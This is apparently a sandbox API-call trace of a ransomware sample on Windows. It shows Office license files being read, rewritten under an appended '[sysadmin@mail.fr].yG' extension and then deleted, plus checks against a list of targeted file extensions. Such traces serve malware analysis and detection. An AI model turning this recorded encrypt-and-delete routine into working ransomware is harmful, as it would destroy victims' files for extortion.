	[0167.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0167.896] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.896] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.897] GetLastError () returned 0x0
	[0167.897] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d69, lpOverlapped=0x0) returned 1
	[0167.900] WriteFile (in: hFile=0x388, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0167.903] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.903] WriteFile (in: hFile=0x388, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x118, lpOverlapped=0x0) returned 1
	[0167.903] SetEndOfFile (hFile=0x388) returned 1
	[0167.903] CloseHandle (hObject=0x388) returned 1
	[0167.903] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.903] SetEndOfFile (hFile=0x4d8) returned 1
	[0168.012] CloseHandle (hObject=0x4d8) returned 1
	[0168.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0168.546] lstrlenW (lpString=".doc") returned 4
	[0168.546] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.546] lstrlenW (lpString=".docx") returned 5
	[0168.546] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.546] lstrlenW (lpString=".pdf") returned 4
	[0168.546] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.546] lstrlenW (lpString=".xls") returned 4
	[0168.546] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.546] lstrlenW (lpString=".xlsx") returned 5
	[0168.546] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.546] lstrlenW (lpString=".ppt") returned 4
	[0168.546] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0168.546] lstrlenW (lpString=".zip") returned 4
	[0168.546] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.546] lstrlenW (lpString=".rar") returned 4
	[0168.547] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.547] lstrlenW (lpString=".bz2") returned 4
	[0168.547] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.547] lstrlenW (lpString=".7z") returned 3
	[0168.547] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0168.547] lstrlenW (lpString=".dbf") returned 4
	[0168.547] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0168.547] lstrlenW (lpString=".1cd") returned 4
	[0168.547] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0168.547] lstrlenW (lpString=".jpg") returned 4
	[0168.547] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.548] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11669) returned 1
	[0168.548] CloseHandle (hObject=0x56c) returned 1
	[0168.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0168.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.567] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.567] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0168.570] GetLastError () returned 0x0
	[0168.570] ReadFile (in: hFile=0x56c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0168.639] WriteFile (in: hFile=0x570, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0168.641] ReadFile (in: hFile=0x56c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.641] WriteFile (in: hFile=0x570, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0168.641] SetEndOfFile (hFile=0x570) returned 1
	[0168.641] CloseHandle (hObject=0x570) returned 1
	[0168.641] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.642] SetEndOfFile (hFile=0x56c) returned 1
	[0168.657] CloseHandle (hObject=0x56c) returned 1
	[0168.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0168.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0168.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0168.659] lstrlenW (lpString=".doc") returned 4
	[0168.659] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.659] lstrlenW (lpString=".docx") returned 5
	[0168.659] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.659] lstrlenW (lpString=".pdf") returned 4
	[0168.659] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.659] lstrlenW (lpString=".xls") returned 4
	[0168.659] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.659] lstrlenW (lpString=".xlsx") returned 5
	[0168.659] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.659] lstrlenW (lpString=".ppt") returned 4
	[0168.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0168.660] lstrlenW (lpString=".zip") returned 4
	[0168.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".rar") returned 4
	[0168.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".bz2") returned 4
	[0168.660] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".7z") returned 3
	[0168.660] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0168.660] lstrlenW (lpString=".dbf") returned 4
	[0168.660] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0168.660] lstrlenW (lpString=".1cd") returned 4
	[0168.660] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0168.660] lstrlenW (lpString=".jpg") returned 4
	[0168.660] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.662] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11619) returned 1
	[0168.663] CloseHandle (hObject=0x56c) returned 1
	[0168.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220
	[0168.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.664] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.664] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.666] GetLastError () returned 0x0
	[0168.666] ReadFile (in: hFile=0x56c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0168.746] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0168.748] ReadFile (in: hFile=0x56c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.748] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0168.748] SetEndOfFile (hFile=0x550) returned 1
	[0168.748] CloseHandle (hObject=0x550) returned 1
	[0168.748] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.748] SetEndOfFile (hFile=0x56c) returned 1
	[0168.753] CloseHandle (hObject=0x56c) returned 1
	[0168.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1
	[0168.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0168.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0168.756] lstrlenW (lpString=".doc") returned 4
	[0168.756] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.756] lstrlenW (lpString=".docx") returned 5
	[0168.756] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.756] lstrlenW (lpString=".pdf") returned 4
	[0168.756] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.756] lstrlenW (lpString=".xls") returned 4
	[0168.756] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.756] lstrlenW (lpString=".xlsx") returned 5
	[0168.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.756] lstrlenW (lpString=".ppt") returned 4
	[0168.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0168.756] lstrlenW (lpString=".zip") returned 4
	[0168.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.756] lstrlenW (lpString=".rar") returned 4
	[0168.757] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.757] lstrlenW (lpString=".bz2") returned 4
	[0168.757] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.757] lstrlenW (lpString=".7z") returned 3
	[0168.757] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0168.757] lstrlenW (lpString=".dbf") returned 4
	[0168.757] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0168.757] lstrlenW (lpString=".1cd") returned 4
	[0168.757] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0168.757] lstrlenW (lpString=".jpg") returned 4
	[0168.757] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.758] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=21606) returned 1
	[0168.758] CloseHandle (hObject=0x56c) returned 1
	[0168.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0168.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.759] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.759] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.760] GetLastError () returned 0x0
	[0168.760] ReadFile (in: hFile=0x56c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x5466, lpOverlapped=0x0) returned 1
	[0168.809] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x5470, lpOverlapped=0x0) returned 1
	[0168.811] ReadFile (in: hFile=0x56c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.811] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0168.811] SetEndOfFile (hFile=0x550) returned 1
	[0168.811] CloseHandle (hObject=0x550) returned 1
	[0168.811] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.811] SetEndOfFile (hFile=0x56c) returned 1
	[0168.826] CloseHandle (hObject=0x56c) returned 1
	[0168.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1
	[0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0168.901] lstrlenW (lpString=".doc") returned 4
	[0168.901] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.901] lstrlenW (lpString=".docx") returned 5
	[0168.901] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.901] lstrlenW (lpString=".pdf") returned 4
	[0168.901] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.901] lstrlenW (lpString=".xls") returned 4
	[0168.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString=".xlsx") returned 5
	[0168.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.902] lstrlenW (lpString=".ppt") returned 4
	[0168.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0168.902] lstrlenW (lpString=".zip") returned 4
	[0168.902] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString=".rar") returned 4
	[0168.902] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString=".bz2") returned 4
	[0168.902] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString=".7z") returned 3
	[0168.902] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0168.902] lstrlenW (lpString=".dbf") returned 4
	[0168.902] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0168.902] lstrlenW (lpString=".1cd") returned 4
	[0168.902] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0168.902] lstrlenW (lpString=".jpg") returned 4
	[0168.902] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.986] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=21604) returned 1
	[0168.986] CloseHandle (hObject=0x48c) returned 1
	[0168.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220
	[0168.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0168.988] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.988] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
